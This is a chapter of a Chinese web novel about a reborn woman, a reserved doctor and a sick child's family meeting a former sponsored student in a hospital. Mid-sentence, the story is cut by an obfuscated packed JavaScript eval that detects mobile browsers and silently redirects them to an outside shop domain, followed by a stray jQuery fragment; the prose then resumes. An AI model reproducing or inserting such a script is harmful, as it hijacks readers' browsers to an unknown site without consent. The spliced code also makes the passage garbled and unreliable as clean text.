他说的这位朋友,当然指的顾南洲。
时见鹿闻言,倒是有些意外。
这几天,她故意把来医院的时间都和剧组时间错开,倒真没注意他们今天有没有来。
陈奇见时见鹿不答话,又接着说:“据说是医院戏份部分已经拍完,大概是去下一个场地了吧?”
说着,他看了一眼身边的李玉:“你不是最了解他们的动向吗?你怎么不说话?”
一旁的李玉白了他一眼,突然做了个“割喉”的手势,示意他闭嘴。
陈奇嘟囔了句“真没意思”,这才作罢。
李玉不理他,转头笑着对时见鹿。
“林医生就在小黎病房,小黎今天还念叨要跟漂亮姐姐玩呢。”
时见鹿点点头,转身走去病房。
她刚走远,陈奇就忍不住回头问李玉:“你刚才干嘛不让我说?”
李玉一边收拾桌面,一边压低语气。
“我听协助顾南洲他们剧组的兰主任说的,她说前几天顾南洲也不知道怎么了,都没来剧组报到。”
陈奇若有所思:“该不会是……病了?”
李玉无语地用手敲了一下他的脑袋。
“如果是病了,过两天再来就好,至于让整个剧组都撤了?”
陈奇盯着她,一脸迷茫:“你是说,整个剧组都撤了?不拍了?”
“嗯。”
李玉神秘点点头:“刚才我看时小姐的表情,八成啊,跟她有关。”
陈奇闻言,突然来了兴致:“真的假的?你是说……”
“嘘!”
李玉打断他,看了一眼病房方向,一脸正经道:“工作。”
“啊?”
陈奇没反应过来。
李玉又说了一遍:“叫你工作去!”
“去去去!”
陈奇一脸意犹未尽:“你告诉我嘛,女人,你成功挑起了我的好奇心……”
“……”
-
时见鹿来到小黎病房,就见林北深站在小黎病床前,正在帮小黎检查。
小黎妈妈吴悦欣照例坐在旁边。
小黎看见她,小脸一下明媚起来,挥着小手:“漂亮姐姐!”
林北深闻声抬头,回头看向她。
时见鹿走了过去,从包里掏出一个精致的盒子,递给小黎。
“你不是最喜欢电子小狗吗?今天刚好看到,就给你带来了。”
小黎闻言,眼睛都亮了,连忙伸手接住。
他拿出电子小狗的遥控器,另一只手把电子狗递给身边的吴悦欣。
“妈妈,我要放在地上,我可以遥控它啦!”
“咦,姐姐,它怎么不走呀!小狗不走呀!”
林北深刚才一直没说话,闻言忽然笑了一下,是很短的气音。
他拿起地上的小狗,拆掉后面的盖子,里面果然空空如也。
“里面没有电池,小狗当然不会走。”
他环顾了一下四周,对着小黎轻声说:“我去去就来。”
说着,他把电子小狗放进小黎怀中。
“小黎先跟小狗熟悉熟悉,一会儿它就会听你的话。”
小黎歪着脑袋想了片刻,然后听话地点点头。
“好好好,一会儿小狗就听我的话啦。”
林北深出门后,时见鹿也跟了出来。
她快步跟上林北深的脚步:“林医生,你手现在怎么样了?”
这几天时见鹿因为忙工作,想着林北深都在家休息,所以两人并没有再一起吃饭。
林北深回头看了她一眼,点头:“好多了。”
见时见鹿盯着他打石膏的手不说话,他又继续:“一会儿下去拆石膏。”
时见鹿闻言,眉眼低垂了下来。
林北深见状,又补充:“能动了,不用担心。”
时见鹿闻言,这才抬起头笑了一下。
“那就好,一会儿我跟你一起去骨科。”
她其实也是随口这么一说。
没想到的是,林北深竟毫不犹豫地点了点头:“行。”
时见鹿愣了一下。
这几天相处下来,林北深似乎并没有她想象的那般不近人情。
甚至于,有些过于平易近人了。
不过前世的时见鹿和林北深并不相熟,这么看来,林北深应该属于外冷内热型。
这么想着,身后一个声音传来。
“请问,吴悦欣吴女士,是在这个病房吗?”
时见鹿和林北深闻言,同时转身看过去。
一个个子高高的,长得很清瘦明朗的男生,正提着大包小包的土特产,往走廊的各个病房东张西望,眼神里满是焦急。
他口中的吴悦欣,正是小黎的妈妈。
时见鹿看了一眼他手里提的东西,似乎是各种农副产品。
这几天采访吴悦欣,知道她家里世世代代都在市区,爸妈都是公务员出身,身边并没有亲戚朋友住在农村。
于是她问:“你是吴女士的……?”
男生抿了抿唇,神情青涩。
“她是我师母,我是她丈夫顾清明的学生。顾先生见我家里困难,没人供我读书,便经常教我算数,我们也因此以师徒相称。从初中开始,我一直受师父资助。师父去世后……便一直由师母继续资助。今天是市里大学报到第一天,听说她在医院,我就立刻赶过来了。”
时见鹿和林北深对视了一眼。
林北深微微点头,便往办公室方向去。
时见鹿则是对着男生,指了指身后的房门。
“吴女士在这个病房。”
“好的,谢谢。”
男生很有礼貌,说完却并没有立即进去。
他先是把东西放下,又在衣服上擦了擦手,这才抬手轻轻敲了敲病房门。
听见里面吴悦欣的一声“请进”之后,男生似乎怔了片刻。
随后,就见他轻轻推开房门。
他站在门口,却不敢抬头去看,只是假装在拿地上的袋子。
似乎是借着弯腰拿地上的袋子,来掩饰情绪。
时见鹿见状,没有出声打扰,只是安静地站在一旁。
男生拎起东西,终于走了进去。
“…师母。”
他的声音微微发颤。
坐在病床旁的吴悦欣站了起来,盯着面前的男生,似乎一脸茫然。
“我是,我是孟野。”
只是简单的介绍,却说的磕磕绊绊。
吴悦欣似乎反应了过来,“哦,你是孟野?”
她从上到下打量着他:“你都长这么大了?”
似乎有些不可思议,她走近盯着他的眉眼说:“我就见过你寄过来的一张中学时候的照片,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610851|205934||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
印象一直停留在那时候。”
她沉思片刻,感慨道:“没想到一转眼,你都长成大人了。”
孟野不好意思地挠了挠后脑勺,露出整齐洁白的牙齿。
“妈妈,妈妈,这是孟野哥哥吗?”
小黎刚才一直盯着男生看,觉得很新奇。
他似乎从来没见过这样干净清爽的男生,也记得妈妈曾经说过,爸爸曾经资助过一个初中生,比他大不了几岁。
吴悦欣闻言连忙点头,又连忙招呼着孟野坐下。
三人聊着天,似乎是在追溯着过往。
孟野看着不怎么说话,可从他嘴里说出来的新奇事物,逗得小黎和吴悦欣时不时笑个不停。
时见鹿见状,也就没再打扰,她轻轻掩了房门。
一转身,就对上了拿电池回来的林北深。
两人很有默契地往回走,来到走廊转角,时见鹿才开口。
“林医生,你知道吗?”
她微笑着开口:“好久没看到吴女士和小黎笑的这么开心了。”
上一世没有孟野,也没有林北深,小黎在病痛中挣扎,吴悦欣孤立无援。
这一世,所有的事情都在往好的方向发展。
时见鹿似乎松了一口气,而这微乎其微的表情,也被林北深捕捉。
“嗯。”
他声音里带了几分不易察觉的愉悦。
“孟野的到来,也算是一件好事。”
时见鹿知道,他说的是吴悦欣终于有人来看她这件事。
不是出于责任,不是碍于情面,而是真真正正有一个人,为她而来。
她轻声说:“哪怕不是亲人,有一个人愿意来看你,这份牵挂……就足够支撑人活下去了。”
林北深闻言,沉默地看着她。
时见鹿垂下眼,声音微哑。
“我希望孟野能常来看他们,让吴悦欣不那么难熬,小黎也能勇敢一点。”
林北深一直没说话,只是静静地倾听。
前世小黎的离开,几乎是让吴悦欣放弃了生的希望。
时见鹿知道,小黎的病情一直是吴悦欣的心病。
其实不光吴悦欣,这又何尝不是她时见鹿的。
所以,只要能减少一分他们的痛苦,时见鹿都觉得有希望。
“林医生,你是医生,我知道不能太过于共情病人,不然也不能算是一个合格的医生。但是我想说的是,不管你明不明白,你说我多事也好,圣母心也罢。我的愿望,就是希望小黎能够康复,吴悦欣能够快乐,这比什么都重要。”
时见鹿自己也不明白,为什么会跟林北深说这些。
也许这段时间的相处,她觉得林北深是个可以信赖的人。
又或许,他跟她一样,是小黎病情的见证者。
不管哪一样,时见鹿好像只能跟他说这些。
也只有他。
林北深沉默了片刻,缓缓抬起头,目光落在时见鹿眼角悬而未落的泪上,不动了。
半晌,他抬起手,手停在半空几秒,最终只是轻轻落于时见鹿的肩。
他的声音低沉沙哑,他说:“时见鹿,不管你信不信,我都懂。”
时见鹿闻言,怔怔抬头,闪着泪光看向他。
他盯着她,目光深邃,似深潭,不见底。
良久,他说。
“相信我。”